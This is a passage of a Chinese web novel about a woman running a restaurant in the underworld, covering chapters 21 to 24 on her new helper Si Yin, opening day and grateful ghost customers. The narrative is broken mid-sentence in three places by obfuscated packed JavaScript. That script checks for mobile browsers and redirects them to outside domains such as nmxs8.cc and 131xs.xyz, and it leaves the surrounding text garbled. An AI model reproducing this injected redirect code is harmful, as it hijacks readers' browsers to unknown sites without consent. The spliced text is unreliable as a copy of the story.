“忘记说了。”忽然，黄泉的声音遥遥传到她们耳中。 简诗简画身形一滞。 “美食摊，你们先不用去了。”黄泉心情颇好地勾了勾嘴唇。 简诗简画一边大力锤着黄泉的替身玩偶，一边谦恭道：“一切都听您吩咐。” 黄泉满意地点点头，阴风将他的风衣吹得猎猎作响。 他仿佛自言自语般：“过几日，我亲自去。” 21. 酒酿圆子 百鬼集市梨花巷，仲7号。 入口的风铃发出清脆的声响。 “来了？”沈婵娟回头，“跟我来厨房。” 司殷跟在她身后，一路走一路打量着店内新换的装潢。 墙壁被漆成柔和的米色，桌椅摆放井然有序，地面一尘不染，雅座与堂内以半座台阶相隔，放眼望去一派窗明几净，满室生光。 司殷想，这的确是适合用餐的好地方。 见沈婵娟进了厨房，他洗净手后跟了过去。 一篮子土豆、蔬菜被放在司殷面前。 沈婵娟：“帮工要做的事，就是根据当日的菜单洗菜配菜。”她顿了顿，摸出一个土豆给他：“洗后去皮切丝。” 司殷着手接过，洗净削皮后，手起刀落。 他的刀法利落，一颗土豆很快便被他切成均匀的细丝，在案板上码得整整齐齐。 沈婵娟又递给司殷一箩青菜，洗菜、择菜，行云流水，一气呵成，打杂打得很熟练的样子。 最后，一根青翠的黄瓜递到司殷眼前。 “蓑衣黄瓜？” 沈婵娟略带惊讶地点头，她的确是想考考他的刀工。 而后刀光上下，黄瓜被司殷切成薄薄的片状，仿佛已被切断。但细细看去，又会发现黄瓜底部还有未断的部分，将片片黄瓜粘连在一起。 司殷的神色自若，眉间也并没有不服输的傲气，可不知怎的，他的刀法和模样，总让沈婵娟想起当年的自己。 她第一次去厨房帮工，后厨的人嫌她是个小姑娘，丢给她一大摞菜让她洗，沈婵娟气不过，当着所有人的面秀了一把稚嫩的刀工。 切的就是这道蓑衣黄瓜。 沈婵娟拍拍脸，觉得自己想起过去的时间未免太多。 “配菜、洗菜、切菜，我这个帮工，沈老板还满意吗？” 见他忽然发问，沈婵娟点点头：“你学过做菜？” 其实她更想问的是，司殷是不是帮人打过杂。只是想司殷阔绰的样子，沈婵娟觉得自己多虑了。 他这种十指不沾阳春水的大少爷——打杂，怎么可能？ “不算，自己学过一点。” 沈婵娟了然：“会做什么菜？” “华夫饼。” “这个我知道，别的呢？” “……” 面对司殷意味不明的沉默，沈婵娟心里有一个不好的猜测。 “你不会……只学过做华夫饼吧？” 司殷无辜点头。 只会一道甜品，怎么不算会做菜呢？ 试图让别人分担一点炒菜重任的沈婵娟如遭雷劈，努力地保持微笑。 帮工嘛，会做菜是加分项，不会做也不扣分，沈婵娟不断安慰自己。 “一个月试用期，月薪可以谈。” “好。”司殷顿了顿，“我不要月薪。” 沈婵娟挑眉：“那你是给我当免费劳动力来了？” 司殷：“能与仰慕的沈老板共事，有何不可？” 闻言，沈婵娟眯了眯眼。 她很清楚，这句话是司殷的托词。 司殷对于她，也许是有对厨艺的仰慕，也许是有一些别的情愫，但这些情感都没有浓烈到，可以让他不求回报地来帮自己。 人不为己，天诛地灭，沈婵娟能肯定，他另有所图。但是她想破脑袋也想不明白，司殷究竟图什么。 不图钱财，不图美色，对于她的厨艺也不算上心，沈婵娟承认，她有一点好奇。 不过当下最重要的，还是新店开业，她确实差一个帮工。所以，沈婵娟不介意用司殷一个月，看看他究竟要干什么。 “再过几日便要正式开业了，我列几道菜，你都试着处理看看。” 司殷点点头，从她手里接过第一日的菜单，扫了两眼，便着手准备起来。 沈婵娟盯梢了好一会，见他确实是块打杂的料，便放心地到一旁准备开业的加购甜品。 将糯米粉和水混合成面团，切成小段搓圆。水煮沸后倒入糯米圆子，适时搅拌。等圆子从底部浮上来，便加入酒酿、枸杞和砂糖，最后倒入葛根粉调的水，煮得大沸后出锅。 如此重复两三次，便煮好了几锅热腾腾的甜汤。 沈婵娟打了两碗，便趁热放在项链里保温。见司殷还在收拾厨房，她端了碗出去：“收拾完了来吃甜汤。” “好。” 沈婵娟捧着一碗香热的甜汤，便觉得在这秋意渐显的地府，整个人都暖和起来了。 入口的甜汤有一种柔和的甜，带着砂糖和酒酿清润的滋味，略显粘稠的质地又为甜汤增添了一些厚重的感觉。圆子软糯弹牙，醪糟甜中带着酒香，令人食指大动。 门口的风铃再次轻响。 沈婵娟抬头看去，门口飘着的正是云寄锦和小黑小白，小白和云寄锦中间隔着一点距离。 小白吸了吸鼻子，空气里浮动着酒酿醉人的香味，他看着沈婵娟面前的甜汤：“这是你们人类吃的酒酿圆子吗？” 看来小白对人界美食的认识确有长进，沈婵娟笑着点点头，又端出三碗甜汤，请他们进来坐。 “你们怎么来了？” 一提起这事，云寄锦不满地哼了一声。 “我本想问问你之后开业需不需要帮忙，却先在你家门口看见了黑白无常。”云寄锦撇过头，喝了一口甜汤继续道：“他们两个好生无赖，一听我说你应该在准备开业甜品，就跟着我来了。” “才不是！”小白放下甜汤瞪了云寄锦一眼：“我们明明是来给小沈送开业礼的！” 见沈婵娟盯着他那碗火速见底的甜汤，小白底气不足地找补道：“当然，也有一点点是为了甜汤来的……” “我就说吧。”云寄锦看穿一切般回嘴。 小白英气的眉微微一挑：“懒得和你争。” 语罢，他和小黑拿着三个卷成筒的红纸递给沈婵娟。 沈婵娟眉心一跳。 “小沈，你打开看看呀！”那边小白期待地看着她。 沈婵娟拿着纸筒，感觉像握了三个烫手山芋，她突然想起什么似的：“司殷，甜汤要冷了——” 她这么一嗓子，小白的注意力果然跑到后厨半开的门上。而那个从厨房走出的人影身上，赫然闪着阴差才能看到的红色火焰。 “咳。”小白呛了一下，迎着司殷的眼神，默默地闭了嘴。 小黑一对黑眸幽深，捣鼓着甜汤，淡淡收回了眼神。 见他们间颇有暗流涌动，沈婵娟试探地问：“你们认识？” “当然认识。”司殷的脸隐匿在口罩之后，叫人看不清他的神色。 小黑小白内心警戒。 只见他信步走到沈婵娟身边坐下：“地府众鬼，谁不认识黑白无常？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256502|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的声音轻轻的，像忘川河畔阴森的风，吹得黑白无常遍体生寒。 沈婵娟了然点头：“怎么带上口罩了？” 司殷顿了顿，淡淡道：“有点咳嗽。” 沈婵娟没多想，示意司殷桌上的甜汤：“趁热喝。” 店内有一瞬间的沉默，唯有勺子碰过碗边的细碎声响。 “小沈，我能看看小黑小白的开业礼吗？” 沈婵娟动作一滞。 刚刚不仅她看出来了，云寄锦肯定也看出来了。 该来的总是要来。 那边的小白巴不得向所有人展示，小黑也一幅淡淡的样子，沈婵娟无奈，从项链里拿出三个圆筒，展开成一幅红纸写就的对联：肴香四海名盛五洲，横批：万事亨通。 黑字饰以银粉，走笔如鸾翔凤翥，横竖都是风骨，撇捺皆有风姿。红纸底纹隐隐生光，细细看去，才发现左联底纹是“天下太平”，右联是“一见生财”。 小白期待地看着沈婵娟，眼睛亮亮的。 沈婵娟失笑：“很好的礼物，我很喜欢。” 如果不和云寄锦送的一样，她会更喜欢。 小白得了答复，颇有些得意地看着云寄锦：“我都说了是来送开业礼的。” “哦——”云寄锦微微一笑，“真不巧，我送的比你们早一点。” “你也送了对联？”小黑淡淡地看着云寄锦。 两人目光相接处，仿佛已有硝烟弥漫。 “我能看看吗？”忽的，小黑的视线转向沈婵娟。 见云寄锦点头，沈婵娟更无奈地拿出那副对联，和那个有她模样的“福”字。 小黑与云寄锦都工于书画，抛去他们之间微妙的敌意，仅论这幅字，小黑觉得云寄锦的确有叫板的资本。 “你写得有韵。很好。”小黑直视着身侧的云寄锦，眉间冰雪消融，唯有几分坦然的欣赏。 书法提按，有韵则生，无韵则死，这是相当高的评价。 云寄锦愣了愣，大方道：“这副对联落笔有神，韵雅而远，你写得也不错。” 二人再次相视时，一扫敌意，颇有些惺惺相惜的味道。 小白：？ 云寄锦睨了小白一眼，冷哼着撇开头。 小白的脸气得通红。 他可是人见人爱的笑面无常！ 没听见吗？他说他可是人见人爱的白无常！ 沈婵娟伸手去捏他鼓起的脸颊。 小白消了气，疑惑道：“你怎么知道这幅对联是小黑写的？” 云寄锦晾了他一下，不紧不慢道：“你们的论坛账号后面有特殊的标识符，我听说，那是阴差自己写的。” 小黑若有所思。 “这样就能认出来？”小白狐疑地看向小黑。 “可。”小黑微微颔首，他的书法已自成态势，如无过多遮掩，想要辨认并不难。 “还有一个原因。”云寄锦心情颇好地看着小白，“你想知道吗？” “我想知道。”沈婵娟笑眯眯地插嘴。 小白按下让她别说的心思，警惕地看着云寄锦：“你说。” “黑白无常，一个字如兰草，一个字如狗爬，你说辨别起来，是不是非常容易？” 小黑目如利刃般射向小白。 小白（捂脸）：没练字的事还是被发现了，我在练了在练了。 22. 酸汤鱼片 地府中天色渐暗的傍晚时分，沈婵娟的小店如期开业。 “酸汤鱼、凉拌黄瓜、炸土豆。” “麻辣干锅、干煸花菜、酸辣土豆丝。” 沈婵娟看了两眼长长的订单，利落地开火煮酸汤。 锅内红油烧热后下入腌好的糟辣椒炒香，加水后大火煮沸，滤去沉积的辣椒渣。 另一锅中下葱蒜爆香，倒入切丁的西红柿煸出汁，再下备好的红酸汤一起熬煮，熬到一大锅酸汤沸腾出泡，丢进几片蒜叶增香。 第一道菜便是这味先夺人的酸汤鱼片。 满室都飘着淡淡的酸香，混着一点独特的木姜油味。 “好香啊！！” “好想喝汤！！” 云寄锦笑了笑，窗口的锅子被念力包裹着，精准地往许芸那桌飘去。 她的小摊摆在沈婵娟店门口，闲来无事时两人还能相互照应。 在锅里的红酸汤起泡后，便可以撇开浮油，盛一碗热乎乎的酸汤。此时的酸汤还没有一丝腥气，融合了糟辣椒微妙的酸味和番茄浓郁的口感，开胃又暖腹。 一般的酸汤鱼腥味很重，一是因为汤不够浓，二是因为鱼处理得不够好。司殷将一条长鱼处理得干干净净，鱼片薄，鱼骨去，留下鱼头在锅中越煮越香。 沈婵娟想，他的确是个打杂的料。 在沸腾的锅里下入薄如蝉翼的鱼片，等个两三秒，等到滚起的汤泡把鱼片烫白，便迅速夹起，在油碟里滚上几遍，这时的鱼片最嫩最香。 说起油碟，酸汤鱼片的油碟也有讲究，店内的油碟可以随自己喜好做，也可以用沈婵娟调好的特制油碟。 酸汤鱼片起源于黔东南，最好的蘸料自然要用这里的辣椒。两勺青辣子，两勺红油辣，一勺蒜泥，半勺香油，加一点黔东南特色的折耳根，美得不得了。 许芸和安远语一起来的，那鱼片一入口，嫩得化在嘴里，每一寸鱼片上都带着油碟的蘸水，岂一个香字了得？ 四周咽口水的声音此起彼伏。 “啊啊啊我也想吃这酸汤鱼！” “你看那鱼片，夹都夹不住，能不能喂我嘴里啊！！” “这也太香了……我的菜啥时候上啊！！” “老板我加一个酸汤鱼片！！” 许芸：“这味道特别正宗！！” 安远语不住点头，然后下鱼片、捞出、进油碟、下肚。 安远语：“好次好次。” 云寄锦：虽然我是个甜品胃，但我也好想吃酸汤鱼片啊！！ 沈婵娟对此毫无所知，但听着餐厅里众鬼热闹的欢声笑语，她轻轻笑了笑，继续热油准备煸花菜。 沈婵娟炒菜的速度很快，油“呲啦呲啦”地跳起来时，就要下入切好的蒜块和干辣椒，后厨里渐渐散开呛人的辣味。 司殷切着肉，不自觉出神看着沈婵娟的背影。 何时大火，何时小火慢焖，沈婵娟都无比熟稔。连那笨重的锅铲，在她手里都耍得无比灵巧。 司殷自己是做过菜的，尽管他完全不记得，自己为什么会学习人类的菜肴。但他记得自己不喜欢沸腾的油，也不喜欢飘忽不定的火，它们在他手下不受控制，也不听他的指挥。 但无论是油还是火，无论是糖还是盐，它们在沈婵娟手下居然能展现出无与伦比的服从。 好厨师就像驯兽师，食材虽不会咬人，但驯服起来却绝不简单。司殷很难想象，沈婵娟究竟学了多久，练了多久，才有今天这样的功力。 满室明灯下，她的发丝被勾勒出模糊的轮廓，像在发光一样。 沈婵娟将锅里的花菜倒入盘中，收锅转身时，见司殷正娴熟地处理牛肉，满意地点点头。 没有偷懒，很好。 她拨了拨铃，云寄锦便来将这道干煸花菜取走。 刚一凑近，滚烫的香气霸道地就席卷了云寄锦的鼻腔，这道菜既有爆炒的干香，又有一点辣椒的呛人味，让人不自觉想流口水。 从西城跋涉来的余景目露凶光，视线直盯云寄锦手中的干煸花菜。 盘子刚一落桌，她便迫不及待地伸筷子去夹。 入口的花菜火候正好，软硬适中，一口下去先是爆炸的辣，再是滋味丰满的咸香，配上香软的米饭，根本停不下来。 余景再一抬头，碗中的花菜没了四分之一。 余景：？ 对面的安桂不语，只是风卷残云地吃饭。 余景：不是说不吃吗？不是说这饭店是饥饿营销吗？ 安桂：勿扰，干饭中。 见安桂一点也不和她客气，余景也铆足了劲开吃。 先是干煸花菜，再是麻辣干锅和酸辣土豆丝，又加了一碗酸辣鸡杂，饭添了好几碗，两个人才吃得心满意足。 安桂：“嗝。” 余景：“嗝。” 安桂朝余景比了个大拇指：“余景，你有好事是真想着我，太香了这家店！” 余景得意地叉起腰。她就说吧！没有人会不爱这家店的饭菜！她可是跟着冰淇淋、臭豆腐一路见证了沈婵娟的小摊崛起，要是不好吃，她能翘班来排队吗！ 夜色渐深，沿街的灯笼越发明亮，远远看去，像一条燃烧的长河。 “小沈，客人都走完了。” “今天辛苦你啦。”沈婵娟洗净手，大声道。 “没事，用起念力这些都不算事。”不等沈婵娟回话，云寄锦又道，“不过小沈，这有两个女生一直在等你。” 沈婵娟连忙解了围裙走出后厨，便看到了飘在门口的许芸和安远语。 “沈老板！等你好久了！”许芸笑着朝她问好。 “是你啊。”沈婵娟也笑了笑。 许芸震惊地瞪大眼睛：“老板你记得我？！” “嗯。”沈婵娟点点头，“你从我摆摊第一天就来了，我当然记得。” 许芸：~(>_ 她在大学吃了几年食堂，毕业了那个脸盲的打饭阿姨还没记住她，沈老板都记住了！ “怎么留到这么晚？” 许芸回过神：“因为有东西想给你。” 沈婵娟有点疑惑：“给我？” 许芸故作高深地点点头，从手上的手表里取出一块蓝白相间的手帕。手帕在手上自然地垂展开，露出一个不算复杂的高山式样。 这样的工艺沈婵娟见过，在黔东南的苗寨里，叫做蜡染。 高悬的明月映照在许芸眼中，她眼里一片薄光闪动，叫人分不清那究竟是月光还是泪光。 “我妈妈说，对于感谢的人，可以送上我们亲手制作的蜡染布。” 沈婵娟接过那块手帕，蜡染的部分上色很稚嫩，但已有几分高山流水的乡土之韵。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271853|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我之前不愿意学，没办法染出更精致的花纹，所以只能染一个山的式样。”许芸有点抱歉。 沈婵娟摇摇头：“我觉得这样就很漂亮，你的手艺很好。” “真的吗？”许芸笑了笑，“沈老板，真的很谢谢你。” 沈婵娟没有说话，静静地看着许芸，她年轻的面庞在月色之下，显得皎洁明亮。许芸的眼神那么深远，那么忧伤，仿佛她已在晚夏的苗寨里，山风里送来笙笛的声音，吹动了苗族姑娘头上的银饰，发出细碎的泠泠之音。 “多亏了沈老板，我和小芸才能成为好朋友！”安远语眉飞色舞地朝沈婵娟道。 沈婵娟愣了愣：“为什么？” “因为我们是在排队的时候认识的！”许芸敛了神色，笑道：“排得无聊时便聊起天，聊着聊着发现我们喜欢同一个乐队，而且居然还是邻居！” “真巧。”沈婵娟笑盈盈地回看着她们。许芸挽着安远语的胳膊，两个人十分亲昵的模样。 “我们有一次等得太久了，就在队伍聊起家乡的美食，我就说咱们的酸汤真是美得不得了。” “是啊……你还说如果活着的时候认识我，肯定带我去你们寨里喝酸汤和米酒。”安远语笑着看她。 “是呀！可是我们都死了嘛！”许芸俏皮地眨了眨眼睛，朝沈婵娟说：“沈老板，真的很谢谢你，很谢谢你的酸汤鱼片，也谢谢它恰好出现在今天。” 许芸想，感谢的话到这里便够了。余下满腔无人诉说的留恋与不舍，都交与风说。 地府的阴风也许将翻越连绵的高山，也许将吹至她魂牵梦萦的小寨，吹到女人陈旧的床头，吹起比她绘得更精致的蜡染布，吹到母亲的梦中。 沈婵娟捏着那块蜡染布，变出一个大小合适的相框，问道：“如果你不介意，我可以把它当成店里的装饰品吗？” “当然可以！”许芸不住点头。 她们与沈婵娟一行人挥手告别，而后空气里传来一阵清脆的笑声，再是许芸欢快的声音说“店里也有我们的痕迹啦”，最后她们走至半路时，风里隐隐飘来柔和的山歌声。 云寄锦：“小沈，这样真好。” 沈婵娟点点头：“嗯……真好。” 那头许芸的歌声越来越轻，直至消失在转角，空留一地月色雪白如霜。 与云寄锦道完别，沈婵娟狐疑地转向司殷：“你还咳嗽？” 司殷扯了扯脸上的口罩：“嗯。” “什么时候能好？” 司殷一双眼睛笑眯眯的：“沈老板担心我？” 沈婵娟哽住，转身欲走，背后却传来一声“沈老板。” 沈婵娟疑惑地回头：“怎么？” “不管是谁的脸，你都能记得很好，对吗？” 沈婵娟不明所以：“对啊，我记人脸很厉害的。” “原来是这样。” 那记住我，也是因为记人很轻易吗？ 司殷说不出心里的滋味，只是微笑着挥手：“那明天见了，沈老板。” “明天见。”沈婵娟挥挥手，朝着家的方向走去。 一路月色寂寥，空旷无人。 路上太安静，沈婵娟想起童年的歌谣，随口哼唱起来： “月光光，月是冰过的砒霜。” “月如砒，月如霜，落在谁的心口上。” 23. 红烧牛腩 沈婵娟的小店开张时间隔日变化，例如说昨日做了晚餐，今日便做早中餐。若逢月假那日，便开一整天直到深夜。 沈婵娟今日早早起了床，出门的时候天才微亮。此时入了秋，风还不算冷，再过不久，就到了加衣服的时候。 进了后厨，浑身便暖和起来，沈婵娟变出几大块牛腩肉，切成大小适中的方块状。 用冷水焯出血水后煮开牛肉，同时起锅和油炒冰糖，炒糖的色以焦糖色最佳，深了便发苦。而后倒入煮好的牛腩大火翻炒，又下新切的大葱、香蒜和八角等香料。 用生抽上色后便用豆瓣酱调味，炒得无汁后倒回锅中，小火慢炖几个小时。虽说高压锅更方便快捷，但沈婵娟还是更习惯用一口大砂锅慢炖，时间越久，牛腩越软烂，微沸的汤把香汁渗入牛肉的每一寸纤维中，炖出来的牛腩才会入味多汁。 烹饪需要火候，美食需要等待，而这些，沈婵娟恰好都很擅长。 炖好牛腩，拿出泡过盐水的鸭蛋，腌一些咸蛋配粥。这些蛋泡过盐水后，已晒干了表层水分。 而说到咸鸭蛋，就不得不提高邮咸鸭蛋，正如《随园菜单》中说：腌蛋以高邮为佳，颜色红而油多，高文端公最喜食之。 高邮鸭蛋腌制要用红泥，倒入盐与酒和好，能让盐分缓慢地渗入鸭蛋中心，而且能够更好出油。将鸭蛋放入泥中均匀裹好，确保每一个角落都裹上红泥，再滚好一层草木灰，放入坛中腌一个月左右。 沈婵娟放置好坛子，店门口的风铃就响了。 “欢迎光临。” 魏湉没注意到沈婵娟，冲进店里后找了个桌子坐下，瘫软地倒在桌面上。 累，实在太累了。 魏湉常住西城，本来只负责城内邮件快递的配送，但昨晚地府通讯的配送接单区，却出现了一个“2000阴时/次”的大单。 魏湉被阴时冲昏了头脑，毫不犹豫地点了“接取”。冷静下来后，才发现那居然是一个跨城配送，要求是在正午前送一份餐到西城通讯大楼。 要知道，西城距离东城最远，普通的鬼坐骷髅船来回也要四个小时。但干魏湉这一行，坐骷髅船送外卖可是会被笑掉大牙的。 那么在地府，怎样才算一个合格的配送员？ 魏湉对此颇有经验—— 飘！玩命飘！ 不开玩笑地说，地府最快的配送员，能与阴风同速，而这个和风一样快的配送员，就是魏湉，配送界人送外号——“拼命甜甜”。东城到西城骷髅船借忘川河流速，尚且还要两个小时，魏湉靠两条腿，只要一个多小时。 但饶是魏湉再有劲，极速飞飘了那么久，也感觉整个人都要散架了。歇了好一会，她才直着身子坐起来，面前是沈婵娟担忧的脸庞。 “不好意思不好意思！”魏湉连忙道歉，“给您添麻烦了，我太累了想歇一歇。” 沈婵娟摇摇头：“这不算麻烦，喝点水吧？” 魏湉接过那杯热水，连声道谢。 这时还算早，店内只有沈婵娟和魏湉两个人。后厨的牛腩越炖越香，飘来的香味让魏湉咽了咽口水。 好香啊。 真不愧是2000一次的饭。 魏湉默默地浏览着菜单，想看看自己能吃得起几个菜。 翻了几页，魏湉疑惑地看了看沈婵娟，又疑惑地看了看手机菜单。 “老板，价格没有省略几个0吧？” 沈婵娟失笑：“当然没有，菜单上的价格就是结算价。” 魏湉点点头。 这餐馆居然挺亲民的。 单子的备注很随便，只说要吃这家的菜，却没有说具体的菜名，唯一的要求是必点每日轮换上新的菜品。 而今日的轮换菜单上只有四个字： 红烧牛腩。 魏湉要了一份牛腩，又要了一份蒜泥油麦菜和百香排骨，配一碗玉米排骨汤。她给自己点了一份牛腩，外加一份干炒牛河。 “第一份打包，第二份在这里吃。” 菜很快就上了。 河粉被炒成油亮亮的酱色，饰以香嫩的葱段、韭黄和辣椒，色香味俱全。最让魏湉震惊的是，原来干炒牛河里能放这么多牛肉？！ 以前在人间，魏湉也是跑外卖的，跑完一整天懒得动弹，她就去家附近的大排档里吃干炒牛河，一碗牛河里只有两三片牛肉，魏湉早就习惯了。 她夹了一块牛肉送入口中，肉滑很香很嫩，带一点恰到好处的辣味，让魏湉这种吃不了辣的人也很喜欢。 河粉口感很细，带着一点微微的糯，和牛肉、韭黄一起下肚，满嘴的鲜香。魏湉很喜欢吃里面的豆芽，很脆，因为去除了豆芽头，吃起来格外的嫩。 红烧牛腩很快也上了，此时正值上班高潮，吃早餐的鬼多了不少，店内很快热闹起来。 “哇今天有红烧牛腩啊！” “这下是真有口福了，我听说沈老板一早就来炖牛腩了！” “老板要两份牛腩！！” 魏湉看着众鬼热络的样子，心里有点羡慕。这些热闹，总是和她没什么关系的。 打包好的饭菜飘到她面前，魏湉认真地朝沈婵娟道了谢，便匆匆赶路去了。吃饭耽误了一会，她要快点赶到通讯大楼才行。 正午十二点。 西城通讯大楼，一身干练西服的女人从最高层落到一层。 “王总好！” “王总中午好！” 王湘习以为常地走过众人的目光，亲自到大楼门口等她的外卖。不等王湘反应过来，魏湉就如风一般到了她眼前，出示了自己的手表。 “王女士？您的跨城配送餐。” 王湘看了看手表，十二点零二分，很准时。 她满意地接过打包袋，付了阴时走人：“多的当小费。” 魏湉谢过，便见王湘拎着打包袋飞奔进通讯大楼，楼内金碧辉煌，灯火通明，是她根本不敢宵想的地方。 魏湉站在楼前打量了很久，拍了一张照片，才心满意足地去跑下一个单。 解锁了新地点，开心～ * 王湘刚打开饭盒的盖子，旁边的李思思就凑过来：“什么这么香？” 王湘护食般拢住桌上的饭菜：“我的午饭。” “可以啊，背着我和长离姐吃这么好。”李思思朝她挤了挤眼睛，趁王湘扭头和司长离说话，趁机朝那道红烧牛腩伸出了魔爪。 牛腩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292962|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉已经炖得软烂了，筷子轻轻一夹，牛腩几乎一分为二。李思思连忙送入口中，唇齿微微一碰，便抿出一嘴浓郁的酱汁，牛肉烂而不老，带着淡淡的八角香味。 李思思本意是想逗逗王湘，但是……这个牛腩怎么这么好吃啊！！ 王湘回头：“你是不是偷吃了？” 李思思故作镇定：“没有。” 王湘皮笑肉不笑地伸出一根手指，指向李思思的衣领，顺着她的手指看去，李思思才发现自己衣服的胸口处有一块酱渍。 什么时候沾上的？！ 李思思暗道失策，嘴硬道：“我这不是怕你吃不惯，替你尝一尝嘛？” 王湘才懒得理她，把饭盒移到自己这边，不让李思思靠近。 蒜泥油麦菜很清爽，经过大火翻炒后的油麦菜更香，还不失脆嫩，蒜泥的辛味更让人欲罢不能。 另一道菜王湘看过，叫做“百香排骨”，她本以为是放了很多香料的炸排骨，没想到竟是百香果煎排骨。 排骨外部裹着一层百香果果肉，齿尖深入，咬下半块煎得酥脆的排骨，排骨油大，而百香果的酸又中和了荤腥带来的腻味，口中唯余百香果特殊的香气。 王湘很好奇的是，内部的排骨煎得出油，但外部的百香果却不像被煎过的样子，很新鲜，不知道厨师是怎么做到的。 这边王湘吃得“咔嚓咔嚓”响，那边李思思不住地咽口水，饶是平日不问世事的司长离也抬起眼，扫过她们所在的位置。 李思思说得不错，这饭菜的确很香。 李思思：“这是哪家店？我也去买！” 王湘等的就是这句：“东城小店，你去吧。” 李思思大惊失色，果断凑近王湘：“湘湘～我和你AA啦～” 王湘恶寒，将那盒百香排骨推到她眼前。 李思思眼睛一亮，不客气地大快朵颐起来，边吃边含糊不清道：“湘湘你最好了！下次我也请你吃！” 王湘幸灾乐祸地笑了笑：“真的？” “真的！想吃什么随便点！” 王湘乐开了花，顺带把蒜泥油麦菜和玉米排骨汤推到她面前。 李思思抬头，灯下的王湘满脸慈祥，仿佛天使一般散发着柔光：“你吃吧，多吃点。” 李思思大为感动，眼含热泪地扒着米饭。 此时她还不知道，自己吃下的每一口排骨，都早已在暗中标好了2000/次的价格。 “我能吃一口吗？”司长离不知何时坐到她身边，幽幽道。 王湘吓了一跳：“当然可以。” 长离姐悄无声息吓人的次数太多，王湘都不知道她此时是无意还是有意。只是凑得近了，便又闻到司长离身上清冽的梅花香。 司长离夹了一块百香排骨。炸排骨用了多种香料，丰富的滋味盈满了她的舌尖，司长离神色复杂地吃完了一整块，朝王湘颔首：“很好吃。” 语罢，她又坐回原位继续处理事情。 王湘看着她窈窕的身形，暗中感叹，女神就是女神，吃肉都只吃一块的。 司长离靠着椅背，指尖微微摩挲着扶手。 没有人注意到，平日对待工作一丝不苟的司总，竟然在走神。 24. 清蒸虾饺 气温咻地降下去了，集市人潮里的鬼们都换上秋装，此时正值晌午时分，满室的欢声将店内烘得喜气洋洋。 刘语凡一连来了好几日，今日徘徊许久，终于在此刻推门而入。 今天，今天一定要厚着脸皮去问沈老板。 “老板，要一份虾饺和福鼎肉片。” 很快，蒸得透亮的虾饺和肉片就飘到刘语凡面前。 那虾饺皮极薄，表皮蒸得晶莹剔透，能看到内部饱满的红虾仁。福鼎肉片的热气带起来一阵香油味，满满当当的肉片和着翠绿的葱花香菜，看起来就令人胃口大开。 刘语凡暂且抛开心里的忐忑，享用起眼前的美食来。 虾饺的皮软而Q，一咬开，烫而鲜的汤汁就在嘴中迸开，细细的笋干香脆，大颗大颗的红虾仁嫩脆，刘语凡一口一个，吃得满心酣畅。 这虾饺内的汤汁很鲜，为了符合虾仁的调性，沈婵娟在皮冻中还加入了打成泥的鱼肉，使海鲜滋味相和，多一分海味。 而另一道福鼎肉片，肉片滑嫩，大小也很好入口，汤底放了紫菜、虾米、黄椒和切细的姜丝，鲜中带一点陈醋香，很有闽南的调性。 往常刘语凡吃福鼎肉片，吃了半碗便觉得口中发腻，但这碗却不同，沈婵娟对肉泥调了味，减少了纯肉带来的荤腥和腻味，又强调了汤底的丰满滋味，更加爽口。更别说刘语凡还配了虾饺，两相交替下，碗内的肉片很快便被一扫而空。 此时店内人还很多，刘语凡吃得很饱，只是看到另一桌的黑椒牛扒、辣炒笋干和糖水，又没忍住点了今日的轮换——杨枝甘露。 虽然室外冷了不少，但刘语凡乃“冷天吃雪糕”教教徒，这点糖水根本不在话下。 更何况，冰冰的糖水怎么会有热量呢^_^ 杨枝甘露的做法相当简单，将西米煮至透明，放入冷水中备用。把芒果切成两半后，划出漂亮的芒果花，取出芒果丁，剩下的加入西柚，用料理机打成泥，倒入椰奶中拌匀，下入西米、芒果丁和红西柚，摆上几片薄荷叶，黄灿灿的杨枝甘露就可以飘到刘语凡面前，供她享用。 用勺子舀一勺糖水，外加一块金黄的芒果丁，送入口中。 冰，甜，细，爽。 刘语凡闭了闭眼睛，享受着芒果和椰奶的在舌尖跳舞，西柚的香味仿佛共舞的音符，如此和谐，又如此自然。 她在店内坐到宾客散尽，那碗杨枝甘露还有薄薄一个碗底，刘语凡不舍地将它喝完，端着碗走到后厨门口，敲了敲门。 沈婵娟擦净手打开门，门外赫然是略显忐忑的刘语凡。 沈婵娟笑了笑。 “老板，我来送碗。” 沈婵娟：“放在那里就好。” 见刘语凡更窘迫了些，沈婵娟体贴道：“是有事找我吗？” 刘语凡顺势点头，只是红着脸，有些怯怯的模样。 沈婵娟耐心地等她继续。 刘语凡不好意思道：“老板……我、我是想问问……店里还招员工吗？” 她的声音甚至有点颤抖，说到“员工”时，又底气不足地低下去。 沈婵娟笑意渐深：“你想来给我打工吗？” 